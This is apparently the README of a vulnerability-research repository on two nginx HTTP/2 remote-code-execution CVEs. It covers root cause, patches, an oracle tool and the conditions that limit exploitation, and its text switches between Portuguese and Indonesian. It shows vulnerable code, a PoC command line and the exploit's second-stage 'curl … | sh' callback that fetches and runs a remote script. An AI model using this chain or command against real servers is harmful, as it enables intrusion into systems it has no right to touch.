
Análise de causa raiz, laboratório de reprodução e ferramentas de PoC para as falhas de RCE HTTP/2 do nginx CVE-2026-123007 e CVE-2026-123633, incluindo um oráculo de baixo custo e limites de explorabilidade.
============================================================
im0xfay x Cyber Alpha Labs
● CVE-2026-123007 / CVE-2026-123633
● NGINX2SHELL (nginx HTTP/2)
flow-control underflow + reusable-connection UAF
============================================================
Analisa, lab reproduksi, dan tool untuk dua RCE pre-auth di nginx HTTP/2 ("nginx2root"), dirilis 18 November 2026.
Repo ini bukan senjata. Ini catatan kenapa CVE ini, walaupun CVSS 9.2 dan benar-benar mencapai RCE di lab, tidak layak dipakai sebagai serangan operasional.
Kalau Anda menemukan halaman seperti situs/nginx2shell.php di internet lalu menyimpulkan
"ada yang berhasil mengeksploitasi nginx2shell di sini" — hampir pasti kesimpulan itu salah.
Penjelasannya ada di bawah.
Setelah membaca semuanya, penilaian yang kami pegang:
Nilai CVE ini adalah sebagai bahan belajar, bukan sebagai tool. Bug-nya indah (integer underflow tiga baris di akuntansi flow-control), tapi biaya eksekusinya (119 GiB per percobaan) jauh melampaui hasilnya (kanal perintah 120 byte).
ngx_http_v2_filter_module.c)Akuntansi flow-control HTTP/2 di nginx bisa me-refund kredit DATA dua kali.
/* ngx_http_v2_filter_cleanup() — versi 1.31.8 (rentan) */
for ( ;; ) {
frame = *fn;
if (frame == NULL) break;
if (frame->stream == stream && !frame->blocked) {
*fn = frame->next;
window += frame->length; /* menjumlah SEMUA frame stream ini */
if (--stream->queued == 0) break;
continue;
}
fn = &frame->next;
}
h2c->send_window += window; /* refund tanpa batas cek */
A cadeia:
Quando o frame DATA é enfileirado, o crédito já é deduzido (h2c->send_window -= frame_size).
Enquanto esse frame ainda está na fila (backpressure TCP), o cliente envia WINDOW_UPDATE.
O crédito aumenta. O frame ainda retém seu crédito. Então a requisição termina / RST_STREAM →
filter_cleanup reembolsa o crédito do frame que ainda está na fila.
h2c->send_window agora excede NGX_HTTP_V2_MAX_WINDOW (0x7FFFFFFF).
A guarda no caminho de WINDOW_UPDATE diz mais ou menos:
if (window > NGX_HTTP_V2_MAX_WINDOW - h2c->send_window) { /* protokol error */ }
Como send_window já é > MAX, o lado direito é negativo — e em size_t (unsigned
64-bit) negativo significa wraparound para ~2^64. A comparação passa. Guard morto.
O crédito absurdo entra em ngx_http_v2_send_chain, o resultado do cálculo é convertido para off_t
(signed) → negativo. get_shadow() produz last < pos, então
ngx_ssl_send_chain chama memcpy/memmove com comprimento ~2^64 → OOB write.
Patch 1.31.9 — três linhas de lógica:
+ h2c->send_queued += frame_size; /* catat kredit yang masih ter-queue */
+ h2c->send_queued -= frame->length; /* kurangi saat frame benar-benar terkirim */
+ h2c->send_queued -= window; /* kurangi saat refund */
- window += frame->length;
+ if (frame->handler == ngx_http_v2_data_frame_handler) {
+ window += frame->length; /* refund hanya untuk DATA frame */
+ }
O novo campo send_queued faz com que a contabilidade nunca possa exceder o crédito real, e
o reembolso é limitado apenas a frames DATA (frames de header/trailer têm semântica de crédito diferente).
Conexões com HEADERS parciais são marcadas com ngx_reusable_connection(c, 1) (mecanismo anti-DoS),
mas create_stream nunca remove essa marcação. drain_connections então fecha
a conexão enquanto ainda atende a requisição → a memória é liberada enquanto ainda está em uso.
Patch: uma linha — ngx_reusable_connection(h2c->connection, 0).
Existem cinco portões, e quase todos os alvos reais falham em um deles.
Sem http2 on, este bug não se aplica de forma alguma. Testado em laboratório:
poc.py -u https://127.0.0.1:19443/ --oracle --no-alpn
BLOCKED nginx=1.31.8 no HTTP/2 negotiated (in CVE-2026-123007 range); 123007 needs h2
Versi masuk rentang rentan, tapi tanpa h2 tetap tidak berlaku. Scan yang hanya membaca
Server: nginx/1.31.8 tidak bisa menyimpulkan kerentanan.
Rantai ini butuh DATA frame mengalir ke worker nginx asli dengan backpressure TCP nyata di jalur itu. Cloudflare, Akamai, dan sejenisnya menghentikan / mengelola HTTP/2 di edge.
Akibatnya: backpressure terjadi di edge CF, bukan di origin. Kondisi serang tidak pernah terbentuk. Untuk target di belakang CDN, verdict yang benar adalah BLOCKED — origin not exposed, bukan "mungkin rentan".
Situs besar modern hampir semuanya di belakang CDN. Ini sendirian sudah menyusutkan populasi target secara drastis.
Bukan salah ketik. RCE penuh butuh ~119 GiB plaintext yang dikirim ke target, dengan
≥300 Mbit/s agar selesai dalam ~4 menit (keepalive_timeout 1 jam adalah plafonnya).
Pada 4 Gbit/s, satu percobaan ≈ 230 detik / 119 GiB. Kalau gagal di tahap leak, seluruh 119 GiB itu hangus dan harus diulang.
Sebagai perbandingan, oracle (pembuktian kerentanan tanpa RCE) hanya butuh ~50 detik / ~10 MB.
Ini yang paling sering disalahpahami.
Yang menentukan apakah OOB write bisa jadi RCE adalah rutin copy di library C milik worker
nginx target: apakah ia membungkus panjang 2^64 - delta atau menolaknya.
| glibc worker target | Hasil |
|---|---|
| 2.41 | PRIMITIVE_PRESENT — OOB write terjadi → jalur RCE terbuka |
| 2.43 | PRIMITIVE_ABSENT — copy ditolak → hanya crash/DoS |
glibc di mesin penyerang sama sekali tidak relevan. Konsekuensinya:
PRIMITIVE_ABSENT di host sendiri.VULN, tetapi eskalasinya berhenti di DoS.Worker yang sudah melayani traffic punya heap kotor; rangkaian cleanup over-credit ditolak
dengan GOAWAY(FLOW_CONTROL_ERROR). Tool memberi verdict ASSUMED — dirty heap; restart target and retry, bukan SAFE. Artinya target harus baru di-restart, dan tidak boleh ada
traffic lain di jalur yang sama saat serangan berjalan.
Ada tiga tingkat "berhasil" yang sangat berbeda, dan orang sering menyebut yang paling murah sebagai yang paling mahal:
| Tingkat | Biaya | Bukti | Arti |
|---|---|---|---|
| 1. Oracle | ~50 s, ~10 MB | cleanup over-credit confirmed | Kerentanan terbukti. Bukan RCE. |
| 2. DoS | ~10 MB | worker SIGSEGV / restart | Server bisa dijatuhkan. Bukan RCE. |
| 3. RCE | 119 GiB, ≥300 Mbit/s | id → uid=33(www-data) | Eksekusi kode + butuh 5 gerbang di atas. |
Lebih jauh lagi: bahkan pada RCE, hasilnya bukan file .php di webroot. Kanal perintah
dibatasi 120 byte (heap.command_max_bytes), jadi yang dipakai adalah kanal dua tahap —
target menjalankan curl -s -m 90 http://<callback>/s | sh (41 byte) untuk menarik skrip
tahap kedua.
Kesimpulan praktis: kalau seseorang mengklaim "berhasil nginx2shell" pada situs publik, minta tiga bukti ini:
id — atau file dengan owner www-data/nginx/nobody di target.Server: header dari koneksi HTTP/1.1 langsung ke origin — bukan lewat CDN.ldd --version di target — harus glibc dengan primitif wrapping.